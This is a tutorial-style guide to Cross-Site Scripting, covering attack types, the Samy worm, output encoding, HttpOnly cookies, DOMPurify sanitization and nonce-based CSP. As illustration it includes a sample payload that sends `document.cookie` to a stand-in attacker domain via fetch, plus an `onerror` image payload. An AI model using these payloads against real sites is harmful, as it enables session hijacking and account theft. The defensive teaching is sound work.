Cross-Site Scripting (XSS)
Web Security

Cross-Site Scripting (XSS)

A complete guide to Cross-Site Scripting (XSS): Stored, Reflected, and DOM-based attacks, session cookie theft, and Content Security Policy.

When you visit a trusted website (such as your bank, email provider, or favorite social network), your web browser downloads HTML, styling, and JavaScript files from that site's servers. Because your browser trusts the website, it allows that JavaScript to read your session cookies, display private messages, and send requests on your behalf. Cross-Site Scripting (XSS) happens when an attacker finds a way to insert malicious JavaScript into that trusted website. When other people visit the page, the website inadvertently sends the attacker's script to their browsers. Because the script appears to come from the trusted website, the victim's browser runs it without hesitation, allowing the attacker to hijack user accounts, steal session tokens, or display fake forms.

Definition

Cross-Site Scripting (XSS) is a security vulnerability where an attacker injects malicious client-side code (usually JavaScript) into web pages viewed by other users, allowing the attacker to bypass browser security controls, steal session cookies, or impersonate legitimate users.

Why It Matters

Browsers rely on a fundamental security rule called the Same-Origin Policy, which keeps scripts from one website from accessing data belonging to another website. XSS bypasses this rule because the malicious code runs inside the trusted site itself. Once malicious JavaScript executes in a user's browser, it can read sensitive session tokens, capture keystrokes, submit unauthorized transactions, or redirect the user to phishing sites. Because modern websites rely heavily on client-side JavaScript, XSS remains one of the most common web application weaknesses.

How It Works

XSS vulnerabilities are divided into three main types based on how the malicious script reaches the user: 1. Stored XSS (Persistent): The malicious script is saved permanently in the application's database (for example, in a blog comment, user profile bio, or forum post). Whenever any user opens that page, the server fetches the comment from the database and inserts it into the HTML. The script then executes automatically in every visitor's browser. 2. Reflected XSS (Non-Persistent): The malicious script is not stored on the server. Instead, it is reflected off the server in an immediate web response, typically through a URL parameter. For example, a search results page might display: 'Search results for: [user input]'. If the application does not sanitize the input, an attacker can create a link containing a script and trick someone into clicking it. When the page loads, the script executes in that victim's browser session. 3. DOM-Based XSS: The vulnerability exists entirely within client-side JavaScript on the user's browser. JavaScript code on the page reads data from a controllable input source (such as `window.location.search` or `document.referrer`) and writes it directly to a sensitive browser element (such as using `element.innerHTML` or `document.write`) without proper encoding. The backend server might never even see the malicious payload. 4. Core Defenses Against XSS: • Context-Aware Output Encoding: Converting special characters into safe HTML display entities (such as changing `<` into `&lt;` and `>` into `&gt;`). This tells the browser to display the characters as visible text rather than executing them as code. • HttpOnly Cookies: Marking session cookies with the `HttpOnly` flag. This tells the browser that JavaScript is not allowed to read the cookie, protecting user sessions even if an XSS flaw exists on the page. • Content Security Policy (CSP): An HTTP header sent by the server that tells the browser which scripts and sources are approved to run, blocking unexpected inline scripts.

Stored XSS Attack Flow vs Output Encoding Defense

1. Attacker Posts Comment
An attacker enters a comment containing malicious script tags: `<script>fetch('https://evilaa.com/c?='+document.cookie)</script>`
2. Stored in Database
The vulnerable application saves the raw script text directly into its database
3. Visitor Opens Page
A legitimate user visits the page; the server sends HTML that includes the stored script
4. Browser Runs Script
The visitor's browser executes the script because it came from the trusted domain
5. Session Hijacked
The script sends the user's session cookie to the attacker, allowing them to impersonate the user
6. Output Encoding Defense
With output encoding, the server converts `<script>` into `&lt;script&gt;`, displaying the text safely without executing it

Key Points

  • XSS injects unauthorized JavaScript into trusted websites viewed by other visitors.
  • Stored XSS is saved in databases; Reflected XSS echoes via URLs; DOM XSS runs entirely in client-side code.
  • Attackers use XSS to steal cookies, hijack accounts, and perform actions as the victim.
  • Output encoding (turning `<` into `&lt;`) prevents the browser from interpreting text as executable code.
  • The HttpOnly cookie flag keeps session tokens safe from JavaScript theft even if an XSS flaw is present.
  • Content Security Policy provides an extra defense layer by limiting which scripts are allowed to execute.

Steps

  1. Avoid Unsafe DOM Methods

    Review frontend code to replace dangerous APIs like `innerHTML` and `document.write` with safe alternatives like `element.textContent`.

  2. Use Frameworks with Built-in Encoding

    Build user interfaces with modern frontend frameworks (such as React, Angular, or Vue) that automatically encode data before displaying it in templates.

  3. Sanitize Rich Text When HTML Is Necessary

    If users need to submit formatted HTML (such as in rich-text editors), use a tested sanitization library like DOMPurify to strip out unsafe tags and event handlers.

  4. Mark Authentication Cookies as HttpOnly

    Set the `HttpOnly` flag on sensitive session cookies so client-side JavaScript cannot access them, neutralizing cookie theft attempts.

  5. Implement a Content Security Policy (CSP)

    Send a Content-Security-Policy HTTP header that restricts script sources and prevents unauthorized inline scripts from executing.

Examples

The Bulletin Board Notice Analogy

Imagine a shared community notice board where anyone can post flyers. An attacker pins up a flyer designed to look like an official notice from building management, asking residents to leave their spare keys under the mat. Residents follow the instructions because they trust the notice board. Stored XSS operates the same way: an attacker places malicious instructions onto a trusted website, and visitors follow them automatically.

Real-World Examples

The Samy Worm on MySpace (2005)

A user named Samy Kamkar found a Stored XSS vulnerability in MySpace profile bio fields. He inserted a script that added him as a friend and copied the same code onto the viewer's profile. Within 20 hours, the script spread to more than one million user accounts, becoming one of the fastest-spreading web worms in history and temporarily forcing MySpace offline.

Technical Examples

Vulnerable DOM Sinks vs Safe textContent and DOMPurify Sanitizationtypescript
import DOMPurify from "dompurify";

// ─── 1. VULNERABLE CODE (DOM-based XSS) ────────────────────────────
// Reading untrusted input from URL search params and writing to innerHTML
const params = new URLSearchParams(window.location.search);
const userQuery = params.get("q"); // e.g. <img src=x onerror="alert(document.cookie)">

const searchContainer = document.getElementById("search-results");
if (searchContainer && userQuery) {
  // DANGEROUS: Browser parses string as active HTML and executes the script!
  // searchContainer.innerHTML = `Results for: ${userQuery}`;
}

// ─── 2. SECURE CODE (Safe DOM API: textContent) ────────────────────
if (searchContainer && userQuery) {
  // SAFE: textContent treats input strictly as literal text, never as HTML
  searchContainer.textContent = `Results for: ${userQuery}`;
}

// ─── 3. SECURE RICH HTML RENDERING (DOMPurify Sanitization) ────────
export function renderUserHtml(untrustedHtml: string): string {
  // Strips all malicious tags (<script>, <svg onload>, onerror attributes)
  // while preserving safe styling (<b>, <i>, <p>)
  const cleanHtml = DOMPurify.sanitize(untrustedHtml, {
    ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p"],
    ALLOWED_ATTR: ["href", "title"],
  });
  return cleanHtml;
}
This code illustrates using `textContent` instead of dangerous `innerHTML`. When rich HTML formatting is truly needed from user input, `DOMPurify.sanitize()` removes dangerous tags and event handlers while preserving safe styling tags like bold and italics.

Stored XSS (Persistent) vs Reflected XSS (Non-Persistent)

AspectStored XSS (Persistent)Reflected XSS (Non-Persistent)
Storage LocationStored in database, server files, or application logsNot stored on server; reflected immediately in the web response
Delivery MethodVictim simply views a normal page (such as a profile or comment)Victim must be tricked into clicking a crafted malicious link
Audience ImpactAffects every user who loads the compromised pageAffects only users who open the specific malicious link
SeverityVery high, because it spreads automatically to any visitorHigh, but relies on phishing or social engineering to deliver

Nonce-Based Content Security Policy (CSP)

Modern web security recommends using nonce-based Content Security Policies rather than relying on domain allowlists: ```http Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa' 'strict-dynamic'; object-src 'none'; base-uri 'none'; ``` • How It Works: The server creates a fresh cryptographic nonce for every page response. Only `<script nonce="...">` tags that carry the matching nonce are allowed to execute in the browser. • The 'strict-dynamic' Directive: Allows trusted scripts that carry the nonce to load additional scripts dynamically, simplifying maintenance without sacrificing security.

Advantages

  • Protects User Sessions: Setting HttpOnly flags and proper output encoding stops account takeover attacks.
  • Protects Website Integrity: Prevents unauthorized page defacement, malicious redirects, and rogue form injection.
  • Defense-in-Depth: Combining output sanitization with Content Security Policy provides reliable fallback protection.

Limitations

  • Context Differences: Output encoding rules differ depending on where data appears, such as inside HTML text, HTML attributes, or JavaScript blocks.
  • Policy Setup: Adding strict Content Security Policies to older applications with many existing inline scripts takes time and careful testing.

Interview Questions

What is Content Security Policy (CSP), and how does a nonce-based policy prevent XSS?

Content Security Policy (CSP) is an HTTP header sent by a web server that tells the browser which script sources are safe to execute. In a nonce-based CSP, the server creates a unique, unpredictable random code (a nonce) for each page request. The server adds this nonce to the CSP header and to legitimate script tags on the page. If an attacker injects a script tag through an XSS flaw, the browser refuses to run it because the injected script lacks the secret nonce created for that specific page load.

Practice Questions

  1. Explain why `<img src="invalid" onerror="alert(document.cookie)">` runs JavaScript even if a basic filter blocks `<script>` tags.
  2. Inspect the response headers of a major website in your browser's developer tools to see how they configure their Content-Security-Policy header.